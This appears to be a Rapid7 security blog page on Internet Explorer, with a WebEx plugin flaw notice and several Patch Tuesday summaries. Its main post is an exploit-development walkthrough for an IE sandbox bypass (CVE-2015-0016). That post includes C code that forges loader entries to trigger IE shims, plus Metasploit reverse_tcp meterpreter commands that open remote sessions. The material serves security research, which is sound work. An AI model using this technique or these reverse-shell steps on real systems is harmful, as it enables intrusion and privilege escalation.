Rapid7 Blog

Internet Explorer  

CVE-2017-3823: Remote Code Execution Vulnerability in Cisco WebEx Browser Plugin

On January 21st 2017, Google's Project Zero disclosed a vulnerability in Cisco's WebEx browser plugin extension that could allow attackers to perform a remote code execution (RCE) exploit on any Windows host running the plugin. An initial fix was pushed out by Cisco that warned…

On January 21st 2017, Google's Project Zero disclosed a vulnerability in Cisco's WebEx browser plugin extension that could allow attackers to perform a remote code execution (RCE) exploit on any Windows host running the plugin. An initial fix was pushed out by Cisco that warned a user if they were launching a meeting from a domain other than *.webex.com or *.webex.com.cn, however, the fix was questioned by April King from Mozilla based on the WebEx domain's security audit results from their Observatory project. Cisco released a fix on 26th January 2017 that not only whitelisted the domains where meetings could be launched, but also tightened up the verification mechanisms to calls on DLLs, as observed by Tavis Ormandy at Project Zero, “It looks like they correctly handle Mac and Windows, and have also added some verification on GpcInitCall/GpcExitCall/etc so that functions have to match a RegEx. This looks like a huge improvement.” Full details of the vulnerability disclosure from Cisco can be found here. The following versions of plugins were declared vulnerable: < 1.0.7 on Google Chrome < 106 on Mozilla Firefox < 2.1.0.10 on Internet Explorer Nexpose version 6.4.21 will allow you to detect if you have a vulnerable version of the Cisco WebEx plugin installed on any of your Windows hosts in your network and if you are vulnerable to CVE-2017-3823. As this is an authenticated check, credentials will need to be configured for the scan.

Using Reflective DLL Injection to exploit IE Elevation Policies

As you are probably aware, sandbox bypasses are becoming a MUST when exploiting desktop applications such as Internet Explorer. One interesting class of sandbox bypasses abuse IE's Elevation Policies. An example of this type of sandbox bypass is CVE-2015-0016. The vulnerability has already been analyzed…

As you are probably aware, sandbox bypasses are becoming a MUST when exploiting desktop applications such as Internet Explorer. One interesting class of sandbox bypasses abuse IE's Elevation Policies. An example of this type of sandbox bypass is CVE-2015-0016. The vulnerability has already been analyzed by Henry Li, who published a complete description in this blog entry.  This kind of vulnerability abuses the TSWbPrxy.exe component (which is already executed as a Medium Integrity process due to an Elevation Policy) in order to run arbitrary code with Medium Integrity. An exploit for this vulnerability already exists in Metasploit. An interesting note about this exploit (and others abuses of IE Elevation Policies) is that the exploit is implemented as a regular DLL run by Meterpreter's old "in-memory" loader, based on the original design by skape and Jarkko Turkulainen. In case you are not familiar with how this loader works, it hooks several ntdll methods related to DLL loading. In contrast, the latest Meterpreter code accomplishes in-memory loading through Reflective DLL Injection. Indeed, many local exploits, including Meterpreter itself, are implemented as Reflective DLLs. So, why aren't we implementing exploits for IE Elevation Policies as Reflective DLLs? The short answer is that their import address table (IAT) is not patched automatically with the IE shims.  As a result, any calls (like CreateProcess)  will be evaluated against the Elevation Policies (thanks 0vercl0k for the grammar warning ) won't be evaluated against the Elevation Policies, since they won't reach the broker. It means that, while you can use kernel exploits with Reflective DLLs to bypass sandboxes, you are stuck when attempting to abuse a policy. Let us examine CVE-2015-0016 as an example of policy abuse. According to the IE Elevation Policy, TSWbPrxy.exe should be executed as Medium Integrity: Indeed, if you build a plain DLL to create the new TSWbPrxy.exe process, and use the Meterpreter's old memory loader, you will notice that the new process runs as Medium Integrity. But, if you try to do the same with a Reflective DLL, you'll notice that the new process runs as Low Integrity: In the last case, the IAT of the DLL has not been patched either: 0:006> !dh 02a40000 -f File Type: DLL FILE HEADER VALUES 14C machine (i386) 5 number of sections 55DE3622 time date stamp Wed Aug 26 16:56:50 2015 0 file pointer to symbol table 0 number of symbols E0 size of optional header 2102 characteristics Executable 32 bit word machine DLL OPTIONAL HEADER VALUES 10B magic # 12.00 linker version A600 size of code 8800 size of initialized data 0 size of uninitialized data 15F5 address of entry point 1000 base of code ----- new ----- 10000000 image base 1000 section alignment 200 file alignment 2 subsystem (Windows GUI) 6.00 operating system version 0.00 image version 6.00 subsystem version 16000 size of image 400 size of headers 0 checksum 00100000 size of stack reserve 00001000 size of stack commit 00100000 size of heap reserve 00001000 size of heap commit 140 DLL characteristics Dynamic base NX compatible 10120 [ 59] address [size] of Export Directory 1017C [ 28] address [size] of Import Directory 14000 [ 1E0] address [size] of Resource Directory 0 [ 0] address [size] of Exception Directory 0 [ 0] address [size] of Security Directory 15000 [ CB8] address [size] of Base Relocation Directory C140 [ 38] address [size] of Debug Directory 0 [ 0] address [size] of Description Directory 0 [ 0] address [size] of Special Directory 0 [ 0] address [size] of Thread Storage Directory FD30 [ 40] address [size] of Load Configuration Directory 0 [ 0] address [size] of Bound Import Directory C000 [ F8] address [size] of Import Address Table Directory 0 [ 0] address [size] of Delay Import Directory 0 [ 0] address [size] of COR20 Header Directory 0 [ 0] address [size] of Reserved Directory 0:006> dps 02a40000+C000 02a40000+C000+F8 02a4c000 76d92082 kernel32!CreateProcessA 02a4c004 76de8eaf kernel32!GetCommandLineAStub 02a4c008 76ddc410 kernel32!GetCurrentThreadIdStub 02a4c00c 76dd7e1a kernel32!IsDebuggerPresentStub 02a4c010 76de6c1e kernel32!IsProcessorFeaturePresent 02a4c014 76ddcde0 kernel32!GetLastErrorStub 02a4c018 76ddc3f0 kernel32!SetLastError 02a4c01c 771ba295 ntdll!RtlEncodePointer 02a4c020 771bcd10 ntdll!RtlDecodePointer 02a4c024 76debbe2 kernel32!DisablePredefinedHandleTableForIndex 02a4c028 76dd54ff kernel32!GetModuleHandleExWStub 02a4c02c 76ddcc94 kernel32!GetProcAddressStub 02a4c030 76ddef07 kernel32!MultiByteToWideCharStub 02a4c034 76ddeefa kernel32!WideCharToMultiByteStub 02a4c038 76ddfcdd kernel32!GetProcessHeapStub 02a4c03c 76de8e97 kernel32!GetStdHandleStub 02a4c040 76de6ab4 kernel32!GetFileTypeImplementation 02a4c044 771b9ac5 ntdll!RtlDeleteCriticalSection 02a4c048 76dde2dd kernel32!GetStartupInfoWStub 02a4c04c 76ddd75a kernel32!GetModuleFileNameAStub 02a4c050 76ddc3c0 kernel32!HeapFree 02a4c054 76ddc422 kernel32!QueryPerformanceCounterStub 02a4c058 76ddd7b5 kernel32!GetCurrentProcessIdStub 02a4c05c 76ddd816 kernel32!GetSystemTimeAsFileTimeStub 02a4c060 76de6bc4 kernel32!GetEnvironmentStringsWStub 02a4c064 76de6bac kernel32!FreeEnvironmentStringsWStub 02a4c068 76df0651 kernel32!UnhandledExceptionFilter 02a4c06c 76ddf4fb kernel32!SetUnhandledExceptionFilter 02a4c070 76ddea21 kernel32!InitializeCriticalSectionAndSpinCountStub 02a4c074 76ddc266 kernel32!SleepStub 02a4c078 76ddd7a0 kernel32!GetCurrentProcessStub 02a4c07c 76dd2c05 kernel32!TerminateProcessStub 02a4c080 76ddd804 kernel32!TlsAllocStub 02a4c084 76ddf760 kernel32!TlsGetValueStub 02a4c088 76ddf783 kernel32!TlsSetValueStub 02a4c08c 76de5259 kernel32!TlsFreeStub 02a4c090 76ddccac kernel32!GetModuleHandleWStub 02a4c094 771a7790 ntdll!RtlEnterCriticalSection 02a4c098 771a7750 ntdll!RtlLeaveCriticalSection 02a4c09c 76deb915 kernel32!IsValidCodePageStub 02a4c0a0 76ddd90b kernel32!GetACPStub 02a4c0a4 76dd440a kernel32!GetOEMCPStub 02a4c0a8 76de8e7f kernel32!GetCPInfoStub 02a4c0ac 76de53ee kernel32!WriteFileImplementation 02a4c0b0 76ddef35 kernel32!GetModuleFileNameWStub 02a4c0b4 76dd50c1 kernel32!LoadLibraryExWStub 02a4c0b8 76dc92da kernel32!RtlUnwindStub 02a4c0bc 771b2dd6 ntdll!RtlAllocateHeap 02a4c0c0 771cff8f ntdll!RtlReAllocateHeap 02a4c0c4 76de532e kernel32!GetStringTypeWStub 02a4c0c8 76dc6e3a kernel32!OutputDebugStringWStub 02a4c0cc 771b9bec ntdll!RtlSizeHeap 02a4c0d0 76de528c kernel32!LCMapStringWStub 02a4c0d4 76dc852f kernel32!FlushFileBuffersImplementation 02a4c0d8 76ddbf19 kernel32!GetConsoleCP 02a4c0dc 76dec110 kernel32!GetConsoleMode 02a4c0e0 76e1fcf9 kernel32!SetStdHandleStub 02a4c0e4 76dcfbb2 kernel32!SetFilePointerExStub 02a4c0e8 76dd857d kernel32!WriteConsoleW 02a4c0ec 76dde868 kernel32!CloseHandleImplementation 02a4c0f0 76dde8a5 kernel32!CreateFileWImplementation 02a4c0f4 00000000 02a4c0f8 00000000 The Reflective DLL is, unfortunately, too stealthy here (what an irony! ). An obvious solution to this problem to would be to patch the DLL's IAT by ourselves. In order to do that, we need a list of the IE Shims to patch. Unfortunately, this would require a lot of maintenance in order to keep the list of hooks up to date, requiring changes for every Windows update. A second and better strategy would be to allow Windows/IE to do the work for us. The first question we need to ask is, what IE does in order to get a module's IAT patched when it loads it? We can find a clue in the excellent paper by Mark Vicent Yanson "Diving Into IE 10's Enhanced Protected Mode Sandbox". According to this paper: "The shim mechanism is provided by the ieshims.dll module which sets up a callback that is called every time a DLL is loaded via the ntdll!LdrRegisterDllNotification() API". If you check the list of registered callbacks on NTDLL for a Low Priviliged iexplore process, the IESHIMS callback (IEShims!CShimBindings::_LdrNotificationCallback) is the first one: 0:006> dd ntdll!LdrpDllNotificationList L3 77237280 00419010 00419010 00300026 0:006> dd 00419010 L3 00419010 77237280 77237280 6c643b40 0:006> u 6c643b40 L1 IEShims!CShimBindings::_LdrNotificationCallback: 6c643b40 6a04 push 4 The main purpose of the callback is to verify the required shims for the new loaded library (with the help of CShimBindings::_GetNeededShims()), and fixup the entry point of the module on his LDR_DATA_TABLE_ENTRY. Here is the moment of patching the DNSAPI.dll LD_ENTRY_TABLE_ENTRY (still with the original entry point 0x74a063f9): ModLoad: 749f0000 74a34000 C:\Windows\system32\DNSAPI.dll Breakpoint 0 hit eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48 eip=6c643dcd esp=036bdb1c ebp=036bdb28 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 IEShims!CShimBindings::OnModuleLoaded+0xcd: 6c643dcd c7461c8029646c mov dword ptr [esi+1Ch],offset IEShims!CShimBindings::s_DllMainHook (6c642980) ds:0023:0033aa9c={DNSAPI!_DllMainCRTStartup (74a063f9)} 0:014> r esi esi=0033aa80 0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ] +0x018 DllBase : 0x749f0000 Void +0x01c EntryPoint : 0x74a063f9 Void +0x020 SizeOfImage : 0x44000 +0x024 FullDllName : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll" +0x02c BaseDllName : _UNICODE_STRING "DNSAPI.dll" +0x034 Flags : 4 +0x038 LoadCount : 0 +0x03a TlsIndex : 0 +0x03c HashLinks : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ] +0x03c SectionPointer : 0x7723a678 Void +0x040 CheckSum : 0x262ffc +0x044 TimeDateStamp : 0x4ce7b7e6 +0x044 LoadedImports : 0x4ce7b7e6 Void +0x048 EntryPointActivationContext : (null) +0x04c PatchInformation : (null) +0x050 ForwarderLinks : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ] +0x058 ServiceTagLinks : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ] +0x060 StaticLinks : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ] +0x068 ContextInformation : (null) +0x06c OriginalBase : 0x6dc00000 +0x070 LoadTime : _LARGE_INTEGER 0x01d0e0d1`4f8116b0 After installing the instruction, the new entry point (0x6c642980) can be observed: 0:014> p eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48 eip=6c643dd4 esp=036bdb1c ebp=036bdb28 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 IEShims!CShimBindings::OnModuleLoaded+0xd4: 6c643dd4 c6474001 mov byte ptr [edi+40h],1 ds:0023:0027af88=00 0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ] +0x018 DllBase : 0x749f0000 Void +0x01c EntryPoint : 0x6c642980 Void +0x020 SizeOfImage : 0x44000 +0x024 FullDllName : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll" +0x02c BaseDllName : _UNICODE_STRING "DNSAPI.dll" +0x034 Flags : 4 +0x038 LoadCount : 0 +0x03a TlsIndex : 0 +0x03c HashLinks : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ] +0x03c SectionPointer : 0x7723a678 Void +0x040 CheckSum : 0x262ffc +0x044 TimeDateStamp : 0x4ce7b7e6 +0x044 LoadedImports : 0x4ce7b7e6 Void +0x048 EntryPointActivationContext : (null) +0x04c PatchInformation : (null) +0x050 ForwarderLinks : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ] +0x058 ServiceTagLinks : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ] +0x060 StaticLinks : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ] +0x068 ContextInformation : (null) +0x06c OriginalBase : 0x6dc00000 +0x070 LoadTime : _LARGE_INTEGER 0x01d0e0d1`4f8116b0 0:014> u 0x6c642980 L1 IEShims!CShimBindings::s_DllMainHook: 6c642980 8bff mov edi,edi Once the library is loaded, it's the address where the NTDLL loader code will transfer execution: Breakpoint 1 hit eax=00000000 ebx=00000001 ecx=036bdbbc edx=00000020 esi=036bdb24 edi=036bdbe0 eip=6c642980 esp=036bdb14 ebp=036bdb30 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 IEShims!CShimBindings::s_DllMainHook: 6c642980 8bff mov edi,edi 0:014> kb ChildEBP RetAddr Args to Child 036bdb10 771b89d8 749f0000 00000001 00000000 IEShims!CShimBindings::s_DllMainHook 036bdb30 771c5c71 6c642980 749f0000 00000001 ntdll!LdrpCallInitRoutine+0x14 036bdc24 771c052e 00000000 7fa602ab 771a7c8a ntdll!LdrpRunInitializeRoutines+0x26f 036bdd90 771c2322 036bddf0 036bddbc 00000000 ntdll!LdrpLoadDll+0x4d1 036bddc4 75178bb1 00281104 036bde08 036bddf0 ntdll!LdrLoadDll+0x92 036bde00 75179044 00000000 00000000 00281104 KERNELBASE!LoadLibraryExW+0x1d3 036bde20 76ba3611 76d2d6c0 00000000 00000000 KERNELBASE!LoadLibraryExA+0x26 The IEShims!CShimBindings::s_DllMainHook method will patch the module IAT with the help of CShimBindings::ApplyShims() and finally call the original entry point: Breakpoint 2 hit eax=00000001 ebx=0027af48 ecx=74a063f9 edx=0027ba50 esi=036bdac4 edi=74a063f9 eip=6c642a9c esp=036bdab8 ebp=036bdb10 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 IEShims!CShimBindings::s_DllMainHook+0x11d: 6c642a9c ffd7 call edi {DNSAPI!_DllMainCRTStartup (74a063f9)} At this point you can observe how the required DNSAPI IAT entries have been pached and redirected to the IE Shims: 0:014> !dh DNSAPI -f File Type: DLL FILE HEADER VALUES 14C machine (i386) 4 number of sections 4CE7B7E6 time date stamp Sat Nov 20 05:58:30 2010 0 file pointer to symbol table 0 number of symbols E0 size of optional header 2102 characteristics Executable 32 bit word machine DLL OPTIONAL HEADER VALUES 10B magic # 9.00 linker version 37C00 size of code A000 size of initialized data 0 size of uninitialized data 163F9 address of entry point 1000 base of code ----- new ----- 749f0000 image base 1000 section alignment 200 file alignment 3 subsystem (Windows CUI) 6.01 operating system version 6.01 image version 6.01 subsystem version 44000 size of image 600 size of headers 50F65 checksum 00040000 size of stack reserve 00001000 size of stack commit 00100000 size of heap reserve 00001000 size of heap commit 140 DLL characteristics Dynamic base NX compatible 12C8 [ 1AF9] address [size] of Export Directory 37998 [ 1A4] address [size] of Import Directory 3C000 [ 4A58] address [size] of Resource Directory 0 [ 0] address [size] of Exception Directory 0 [ 0] address [size] of Security Directory 41000 [ 26A4] address [size] of Base Relocation Directory 38A14 [ 38] address [size] of Debug Directory 0 [ 0] address [size] of Description Directory 0 [ 0] address [size] of Special Directory 0 [ 0] address [size] of Thread Storage Directory 23E58 [ 40] address [size] of Load Configuration Directory 278 [ 324] address [size] of Bound Import Directory 1000 [ 2C8] address [size] of Import Address Table Directory 374BC [ 100] address [size] of Delay Import Directory 0 [ 0] address [size] of COR20 Header Directory 0 [ 0] address [size] of Reserved Directory 0:014> dps DNSAPI+1000 DNSAPI+1000+2C8 749f1000 76e79894 msvcrt!free 749f1004 76e79cee msvcrt!malloc 749f1008 76e9dc75 msvcrt!_XcptFilter 749f100c 76e7c151 msvcrt!_initterm 749f1010 76e7ad52 msvcrt!towlower . . . . 749f10bc 6c6431e0 IEShims!NS_GetProcAddressShim::APIHook_GetProcAddress . . . So far so good! Next, can we reach IEShims!CShimBindings::_LdrNotificationCallback with our reflective DLL? Our first approach was to add a fake entry to the InMemoryOrderModuleList and then reuse LoadLibrary to reach the "IEShims!CShimBindings::_LdrNotificationCallback". Unfortunately, soon we discovered this was not sufficient to reach the point where the DLL notification callbacks are executed. As a second attempt, we tried to determine the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to get the address of the callback, we used the following technique: Get the address of the export ntdll!LdrRegisterDllNotification From there, search for the address of the _LdrpDllNotificationList. This list saves the collection of registered callbacks. With IE, the first callback is the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to implement a (hopefully) reliable search mechanism, we use the new entry in the list as a signature. The resulting code to disclose the pointer to the IEShims callback looks something like: // Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback static SIZE_T SearchLdrNotificationCallback() { HMODULE ntdll = LoadLibraryA("ntdll.dll"); FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification"); PUCHAR searchPtr = (unsigned char *)registerDllMethod; UCHAR testByte = 0x00; SIZE_T pNotificationList = 0; SIZE_T pNotificationCallback = 0; for (int i = 0; i < 0x1000; i++) { if (searchPtr[i] == searchPtr[i + 5] + 4 && searchPtr[i + 1] == searchPtr[i + 6] && searchPtr[i + 2] == searchPtr[i + 7] && searchPtr[i + 3] == searchPtr[i + 8]) { searchPtr = searchPtr + i; pNotificationList = *(SIZE_T *)searchPtr; break; } if (searchPtr[i] == searchPtr[i + 6] + 4 && searchPtr[i + 1] == searchPtr[i + 7] && searchPtr[i + 2] == searchPtr[i + 8] && searchPtr[i + 3] == searchPtr[i + 9]) { searchPtr = searchPtr + i; pNotificationList = *(SIZE_T *)searchPtr; break; } } memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T)); pNotificationCallback += sizeof(SIZE_T) * 2; return pNotificationCallback; } By the way, if you have of a better way (not depending on any search) to disclose the IEShims!CShimBindings::_LdrNotificationCallback, we would love to know about it! Once the address of the callback has been disclosed, we are ready to call it directly. As you recall, this call will modify the entry point on the LDR_DATA_TABLE_ENTRY for the notified library. So, we need to insert a new LDR_DATA_TABLE_ENTRY on the InMemoryOrderModuleList of the process being exploited. In order to understand better the process, here is a step-by-step description of what happens: Create a new LDR_DATA_TABLE_ENTRY for the loaded reflective DLL. static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint) { fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY)); memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY)); fakeLdrEntry->DllBase = dllBase; fakeLdrEntry->EntryPoint = entryPoint; fakeLdrEntry->SizeOfImage = 0x1b000; fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll"; fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2; fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2; fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll"; fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2; fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2; } Hook the LDR_DATA_TABLE_ENTRY into the InMemoryOrderLinks list of the attacked process: staticVOID HookFakeModule(HINSTANCEhinstDLL, PVOIDep) { PentryPoint entryPoint = (PentryPoint)ep; _PPEB pPeb = (_PPEB)__readfsdword(0x30); LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList; // Make Backup to restore later headBackup = head; PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8); CreateFakeModule(firstEntry, hinstDLL, entryPoint); // Insert the fake entry in the InMemoryOrderModuleList fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink; fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink; // Fix the list pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks); pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks); return; } Create a LDR_DLL_LOADED_NOTIFICATION_DATA structure for our Reflective DLL (so we can call the IEShims notification callback later). staticVOID CreateFakeNotification(HINSTANCEhinstDLL) { fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA)); fakeNotification->DllBase = hinstDLL; fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll"; fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2; fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2; fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); fakeNotification->FullDllName->pBuffer = L"WinRefl.dll"; fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2; fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2; fakeNotification->SizeOfImage = 0x1b000; fakeNotification->Flags = 0; } Disclose the address of IEShims!CShimBindings::_LdrNotificationCallback as explained before, and call it directly. Once the callback is executed successfully, we should be able to retrieve the address of the CShimBindings::s_DllMainHook from the patched entry point in our crafted LDR_DLL_LOADED_NOTIFICATION_DATA. Good enough! Now we call CShimBindings::s_DllMainHook by ourselves, allowing IEShims to: patch our reflective DLL IAT and call our reflective DLL entry point again! At that moment we should be able to exploit the policy escalation, escaping the sandbox and living happily as a Medium Integrity process! As a proof of concept, the Metasploit module ms15_004_tswbproxy for CVE-2015-0016 has been updated to use a Reflective DLL. The Pull Request with all the code can be found here: Update ms15_004_tswbproxy to use a Reflective DLL by jvazquez-r7 · Pull Request #5896 · rapid7/metasploit-framework · Gi…. The changes are already in master, so you can sync your metasploit-framework to get them! You can test all the above by yourself in the next easy way: Install a target. A Windows 7 SP1 machine with IE (and not MS15-004) should work. Get a Meterpreter session on the target. It doesn't matter how you get the session really. For this example, I have embedded a meterpreter/reverse_tcp payload into an EXE and used the exploit/multi/handler to retrieve a new session. msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 172.16.158.1 lhost => 172.16.158.1 msf exploit(handler) > rexploit [*] Reloading module... [*] Started reverse handler on 172.16.158.1:4444 [*] Starting the payload handler... [*] Sending stage (885806 bytes) to 172.16.158.131 [*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:51041) at 2015-08-26 15:28:01 -0500 Migrate the session to an IE renderer Low Privileged process. meterpreter > migrate 3500 [*] Migrating from 2708 to 3500... ;[*] Migration completed successfully. meterpreter > background [*] Backgrounding session 1... Use the ms15_004_tswbproxy on the session and get a new session. msf exploit(handler) > use exploit/windows/local/ms15_004_tswbproxy msf exploit(ms15_004_tswbproxy) > set session 1 session => 1 msf exploit(ms15_004_tswbproxy) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ms15_004_tswbproxy) > set lhost 172.16.158.1 lhost => 172.16.158.1 msf exploit(ms15_004_tswbproxy) > rexploit [*] Reloading module... [*] Started reverse handler on 172.16.158.1:4444 [*] Checking target... [*] Checking the Process Integrity Level... [*] Storing payload on environment variable... [*] Exploiting... [*] Injecting exploit into 3500... [*] Payload injected. Executing exploit... [*] Sending stage (885806 bytes) to 172.16.158.131 [*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.131:51042) at 2015-08-26 15:28:44 -0500 meterpreter > getpid Current pid: 3232 The new Meterpreter session should live in a Medium Integrity process! And that's all for today We hope you enjoyed the reading and found the information here useful in order to write your own policy abuses with Metasploit!

Patch Tuesday - September 2014

It's a light round of Microsoft Patching this month.  Only four advisories, of which only one is critical.  The sole critical issue this month is the expected Internet Explorer roll up affecting all supported (and likely some unsupported) versions.  This IE roll…

It's a light round of Microsoft Patching this month.  Only four advisories, of which only one is critical.  The sole critical issue this month is the expected Internet Explorer roll up affecting all supported (and likely some unsupported) versions.  This IE roll up addresses 36 privately disclosed Remote Code Execution issues and 1 publically disclosed Information Disclosure issue which is under limited attack in the wild. This will be the top patching priority for this month. Of the three non-critical things this month, two are denial of service issues affecting Lync and Windows/.NET.  The other is an elevation of privilege issue affecting Windows 8/8.1 and Server 2012 & 2012 R2.  The Lync advisory also addresses an XSS which could disclose information of a connecting user. Nothing to ignore, but definitely secondary to the IE issue unless it turns out that some or all of these are under active exploitation. Adobe and Microsoft have released patches to address issues in Adobe Flash.  These issues are grouped by Adobe as APSB14-21, but actually include 12 CVEs which most are top priority patching issues for embedded flash in the browser.  These issues affect Chrome on Mac, Windows and Linux, Internet Explorer 10 and 11, and any browser using the Flash Desktop Runtime.  In effect this is almost everyone with a browser who has Flash support.  These are all high priority issues, though I'm inferring from the disclosure list that they are not active in the wild. It sure doesn't seem like an end is in sight for IE patches, does it?  I think in practical terms, this it not technically, an infinite supply of remote code execution vulnerabilities.  It has to trail off sometime, when most of the codebase has been overhauled, and all the use-after-free type issues have been addressed.  However, I don't know when that will be.  IE is a hugely complex codebase and is deeply integrated with Windows operating systems. Hopefully Microsoft will keep up the intensity they have shown in hunting down and fixing these issues.

August Patch Tuesday

Microsoft clearly wants everyone to shake off the dog days of summer and pay attention to patching.  This month's advance notice contains nine advisories spanning a range of MSFT products.  We have the ubiquitous Internet Explorer all supported versions patch (MS14-051), with the…

Microsoft clearly wants everyone to shake off the dog days of summer and pay attention to patching.  This month's advance notice contains nine advisories spanning a range of MSFT products.  We have the ubiquitous Internet Explorer all supported versions patch (MS14-051), with the same likely caveat that this would apply to Windows XP too, if Microsoft still supported it.  This patch addresses the sole vulnerability to be actively exploited in the wild from in this month's crop of issues, CVE-2014-2817 and the sole issue which is known to be publicly disclosed, but not known to be under active exploitation, CVE-2014-2819.  Both of which are elevation of privilege issues. MS14-043 is also a critical and remote code execution issue.  It affects only the professional/ultimate/enterprise editions Windows 7 and 8/8.1 and the “Media Center TV Pack” for Vista. Fortunately, or not, depending on your point of view, this is not a true remote, but rather yet another attack where a user must be coerced into opening a malicious file.   Also of note, MS SQL Server, all supported versions are vulnerable to an issue which is a Denial of Service on most platforms, but is Important Elevation of Privilege issue on Server 2014 and 2012 x64, this is probably not critical because it will require some degree of authentication to exploit, but given the potential for that to happen in any number of circumstances this will no doubt be an important issue to administrators to address. Beyond those we have a mixed bag of 3 other EOPs, a Remote Code Execution and two security bypass issues, all labelled Important.  Windows, Office, Sharepoint and .NET are all touched by these fixes.  Security and IT teams will be busyscrambling to test and apply these fixes.

Patch Tuesday, June 2014

Patch Tuesday, June 2014 delivers seven advisories, of them, two critical, five important – one of which is the seldom seen “tampering” type.The remarkable item in this month's advisories is MS14-035, the Internet Explorer patch affecting all supported versions.  That in…

Patch Tuesday, June 2014 delivers seven advisories, of them, two critical, five important – one of which is the seldom seen “tampering” type.The remarkable item in this month's advisories is MS14-035, the Internet Explorer patch affecting all supported versions.  That in itself is not unique, we see one of these almost every month, but this time the patch addresses 59 CVEs, that is 59 distinct vulnerabilities in one patch! Microsoft asserts that while two of the vulnerabilities (CVE-2014-1770 & CVE-2014-1771) have been publically disclosed, none are known to be under active exploitation. That said, CVE-2014-1770 was disclosed through the Zero-Day Initiative (ZDI) and exploit code is known to exist and will likely become public in the near future.  This is the top patching priority.MS14-036 affects a large number of systems and components including all supported Windows versions, Office versions, plus Lync Server and the older Live Meeting, however, according to Microsoft this isn't the top patching priority, not even behind MS14-035.  Microsoft has suggested that the likelihood of exploitation here is very low and that the attack vector is theoretical, but maybe not practical.  Instead, Microsoft has identified MS14-034 as the other top patching priority.  This vulnerability is an information disclosure in MS Word, it's an "open-and-own" scenario where a user who opens a malicious file, such as an emailed document, would be immediately exploited.The other 4 vulnerabilities are of relatively low concern, but not to be ignored.  MS14-030 is a MITM scenario on RDP sessions which would allow an attacker to intercept and modify an RDP session if they were present in the communications flow at the start of the session.  MS14-031 is a Denial of Service which could be triggered by a specially crafted sequence of TCP packets.  MS14-032 is an information disclosure vulnerability where JavaScript appended to a valid Lync meeting URL could allow cross site scripting.  MS14-033 is another information disclosure which would cause the leakage of path information (potentially including usernames) from the forced loading of malicious XML, this could be used to further entice users to give up their password or other information.

Patch Tuesday, May 2014 - Lots going on

